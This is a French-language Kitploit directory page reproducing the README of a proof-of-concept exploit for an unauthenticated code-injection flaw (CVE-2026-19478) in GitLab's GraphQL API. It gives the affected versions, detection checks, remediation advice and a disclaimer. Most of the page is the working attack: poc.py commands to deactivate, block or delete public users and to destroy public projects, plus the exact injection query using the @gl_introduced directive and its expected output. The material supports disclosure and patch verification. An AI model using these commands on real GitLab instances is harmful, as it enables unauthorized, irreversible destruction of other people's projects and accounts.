Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-19478-PoC — Exploit de preuve de concept pour une injection de code à distance non authentifiée dans l'API GraphQL de GitLab, utilisant des requêtes élaborées pour modifier ou supprimer des projets et des utilisateurs publics. | Kitploit
Outils/GitHubGitHub/davkharrr/cve-2026-19478-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionSécurité des API
GitHubdavkharrr/cve-2026-19478-poc

CVE-2026-19478-PoC

Exploit de preuve de concept pour une injection de code à distance non authentifiée dans l'API GraphQL de GitLab, utilisant des requêtes élaborées pour modifier ou supprimer des projets et des utilisateurs publics.

Voir le dépôt
11512il y a 22 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-19478 PoC

Injection de code à distance sans authentification dans la couche GraphQL de GitLab qui permet à un attaquant de modifier ou supprimer des projets publics et des données utilisateur avec une seule requête spécialement conçue. Aucune authentification, aucune interaction utilisateur, aucun privilège spécial.

Gravité9.4 Critique — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
CWECWE-94 (Contrôle inadéquat de la génération de code / Injection de code)
Versions concernéesGitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4
Corrigé18.11.11, 19.0.8, 19.1.6, 19.2.4
Divulgué2026-08-17
HackerOne3926431

TL;DR

root@kitploit:~
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project

# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

L'exploit est une injection de code par champ de repli : un nom de champ choisi par l'attaquant dans une requête GraphQL est transformé en un appel public_send arbitraire sur le modèle ActiveRecord sous-jacent (Project, User, ...). Comme le champ de repli n'est créé que lorsque la requête porte également une directive @gl_introduced « future », la directive constitue la primitive d'injection.


Versions concernées

SérieConcernéeCorrigée
18.x>= 18.2, < 18.11.1118.11.11
19.0< 19.0.819.0.8
19.1< 19.1.619.1.6
19.2< 19.2.419.2.4

Le script effectue une détection de version au mieux (/api/v4/version avec un jeton, /help, /users/sign_in) et indique si la cible se trouve dans les plages concernées.


Détection

  • Vérification de version : toute instance GitLab dans les plages concernées est vulnérable.
  • Vérification comportementale (sûre) : envoyez la charge utile touch bénigne ci-dessus. Une instance vulnérable renvoie "touch": true ; une instance corrigée renvoie Field 'touch' doesn't exist on type 'Project'.
  • Vérification du schéma : une instance vulnérable expose la directive gl_introduced dans le schéma GraphQL (introspection /api/graphql). Les instances corrigées peuvent encore l'exposer ; la vérification comportementale fait donc autorité.

Utilisation

root@kitploit:~
python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
               [--mode check|modify|destroy|delete|custom]
               [--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
OptionDescription
--urlURL de base de GitLab, ex. https://gitlab.example.com
--projectChemin complet d'un projet public, ex. group/subgroup/project
--userNom d'utilisateur d'un utilisateur public, ex. alice
--modecheck (par défaut, touch bénin) · modify (utilisateur : deactivate, projet : touch) · destroy · delete · custom
--methodNom de méthode pour --mode custom (doit être un nom GraphQL valide)
--tokenPRIVATE-TOKEN GitLab facultatif (détection de version / authentification)
--versionIgnorer la détection, forcer une chaîne de version
--insecureDésactiver la vérification du certificat TLS

Les modes destructeurs (modify, destroy, delete) exigent une confirmation interactive yes.

Exemples

root@kitploit:~
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project

# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block

# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm

# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate

# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete

# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
               --mode custom --method reload

# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
               --token <PRIVATE-TOKEN> --insecure

Sortie attendue

Instance vulnérable

root@kitploit:~
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
    Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
  project(fullPath: "group/public-project") {
    name
    destroy @gl_introduced(version: "999.0.0")
  }
}

[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.

Instance corrigée

root@kitploit:~
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).

La réponse d'une instance corrigée est une erreur normale de validation GraphQL :

root@kitploit:~
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }

Parent non résolvable

root@kitploit:~
[!] Parent object is null -> project/user not found or not visible.
    (For projects, use the full path, e.g. group/subgroup/project)

La cible doit être publique (visibilité du projet Public, ou un utilisateur dont le profil est résoluble publiquement via GraphQL). Si le parent est nul, la méthode n'est jamais appelée.


Remédiation

  • Mettez à niveau vers GitLab 18.11.11, 19.0.8, 19.1.6 ou 19.2.4 (ou version ultérieure).
  • En attendant le correctif : restreignez l'accès réseau à /api/graphql, ou désactivez la fonctionnalité de filtrage par version @gl_introduced si elle n'est pas nécessaire.

Références

  • https://nvd.nist.gov/vuln/detail/CVE-2026-19478
  • https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
  • https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
  • https://hackerone.com/reports/3926431
  • Commit du correctif : e283c6ad "Prevent calling object method when resolving fallback field"

Ce PoC est fourni uniquement pour la recherche défensive en sécurité et les tests autorisés. Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.

Télécharger l’outil